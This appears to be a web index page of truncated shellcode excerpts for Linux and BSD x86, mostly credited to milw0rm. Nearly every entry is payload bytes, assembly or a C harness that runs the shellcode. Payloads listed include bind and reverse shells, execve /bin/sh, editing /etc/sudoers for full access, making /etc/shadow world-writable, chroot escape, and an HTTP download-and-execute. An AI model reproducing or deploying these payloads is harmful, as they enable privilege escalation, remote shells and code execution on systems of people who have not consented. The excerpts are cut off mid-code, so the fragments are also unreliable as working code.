Online Linux Shellcode
linux/x86 Password Authentication portbind Shellcode 166 bytes
char shellcode[] = /* socket(AF_INET, SOCK_STREAM, 0) */ "\x6a\x66" // push $0x66 "\x58" ... int $0x80 int main() { int (*f)() = (int(*)())shellcode; printf ...
Categories: Online Linux Shellcode
linux/x86 execve shellcode generator null byte free
This is the method used by the shellcode generator. ... edx, %edx int $0x80 movb $1, %al ;_exit(0); xor %ebx, %ebx int $0x80 */ // milw0rm.com ...
Categories: Online Linux Shellcode
D
... rfdslabs.com.br> * * This shellcode reads the content of '/tmp ... int $0x80 ; int main() { int (*f)() = (int(*)())shellcode; printf("Length: %u\n", strlen(shellcode)); f ...
Categories: Online Linux Shellcode
freebsd/x86 reboot(RB_AUTOBOOT) Shellcode 7 bytes
/* * * FreeBSD_x86-reboot-7b.c (Shellcode, reboot(RB_AUTOBOOT), 7 bytes) * * by IZ ... mov $0x37,%al */ "\xcd\x80"; /* int $0x80 */ void main() { int ...
Categories: Online Linux Shellcode
D
Here is a BSD remote shellcode. Tested on NetBSD . SHould work on ... eax int $0x80 pushl $0x01 pushl %edi movb $0x6A, %al pushl %eax int $0x80 pushl %eax ...
Categories: Online Linux Shellcode
linux/x86 edit /etc/sudoers for full access 86 bytes
... int 0x80 ;close(file) mov al, 0x06 int 0x80 ;exit(0); xor ebx, ebx mov al, 0x01 int 0x80 ... main(void) { void (*shellcode)() = code; shellcode(); } // milw0rm.com [2008-11-19] ...
Categories: Online Linux Shellcode
linux/x86 execve /bin/sh 29 bytes
... leal 0x17(%ebx),%eax int $0x80 cdq pushl $0x68732f6e pushl ... movl %esp, %ecx movb $0xb, %al int $0x80 */ char shellcode[] = "\x31\xdb\x53\x8d\x43\x17\xcd\x80\x99\x68\x6e ...
Categories: Online Linux Shellcode
Linux shellcode - assembler
mov eax, 6 ; mov ebx, [esi] ; int 0x80 ; close(stdin[READ]) ; ; mov eax, 6 ; mov ebx, edi ; add ebx, 4 ; mov ebx, [ebx] ; int 0x80 ; close(stdout ...
Categories: Online Linux Shellcode
udpsend.asm
at least not that i # could find, so this is not totally optimized and # can probably be ... eax .endif movb $102, %al int $0x80 # exit cleanly .ifdef SAFE xor ...
Categories: Online Linux Shellcode
freebsd/x86 portbind 4883 with auth shellcode
... __asm__("int $0x80"); //rcev password __asm__("xor %eax, %eax"); __asm__("pushl ... "int $0x80"); // /bin/sh __asm__("xor %ecx, %ecx"); __asm__("pushl %ecx" ...
Categories: Online Linux Shellcode
shell1.asm
... _start _start: jmp get_string shellcode: ;execve xor eax, eax pop ... al, 11 mov ebx, esi lea ecx, [esi + 8] lea edx, [esi + 12] int 0x80 get_string: call shellcode db '/bin/sh' ...
Categories: Online Linux Shellcode
freebsd/x86 rev connect, recv, jmp, return results 90 bytes
... 0x03 push eax int 0x80 ; --- jmp to recv shellcode jmp ecx ; run shellcode done: ; --- exit (optional -> pls exit from jmp shellcode) xor eax, eax ...
Categories: Online Linux Shellcode
bsd/x86 connect 93 bytes
... xb0\x3b\x50\xcd\x80\xe8\xa5" "\xff\xff\xff\x41"; int main() { int *ret; ret=(int*)&ret+2; (*ret)=(int)shellcode; } // milw0rm.com [2004-09-26] ...
Categories: Online Linux Shellcode
D
s0t4ipv6@shellcode.com.ar 45 bytes. - break chrooted */ char shellcode[]= "\x68\x62\x2e ... xcd\x80" /* int $0x80 */ "\xe2\xfa" /* loop <shellcode +31> */ "\x47" ...
Categories: Online Linux Shellcode
execve-0x03.asm
a514b18340a690e6553861ef5d530eef ; Shellcode-Arch .: x86 ; Nasm ... path push eax ; dummy mov al, 0x3b ; value of SYS_execve int 0x80 ; invoke kernel ...
Categories: Online Linux Shellcode
Online Linux Shellcode: execve-0x04.asm
8a46e92e51db66046f4dd151f4b87ba6 ; Shellcode-Arch .: x86 ; Nasm ... path push edx ; dummy mov al, 0x3b ; value of SYS_execve int 0x80 ; invoke kernel ...
Categories: Online Linux Shellcode
linux/x86 HTTP/1.x GET, Downloads and execve() 111 bytes+
... within in the marked place * in the shellcode (look for the comment) ... xb0\x06" // mov $0x6,%al "\xcd\x80" // int $0x80 "\x99" // cltd "\xb0\x0b" // mov $0xb,%al "\x89 ...
Categories: Online Linux Shellcode
acct.asm
Categories: Online Linux Shellcode
linux/x86 Shellcode Polymorphic chmod("/etc/shadow",666) 54 bytes
/* Title : Linux/x86 - Shellcode Polymorphic chmod("/etc/shadow",666) ... %d\n",strlen(shellcode)); (*(void(*)()) shellcode)(); return 0; } // milw0rm.com ...
Categories: Online Linux Shellcode
linux/x86 SWAP store shellcode 99 bytes
char shellcode[] = /* open(device, O_WRONLY) */ "\x6a\x05" // push $0x5 "\x58" // pop ... int $0x80 ; int main() { int (*f)() = (int(*)())shellcode; printf ...
Categories: Online Linux Shellcode
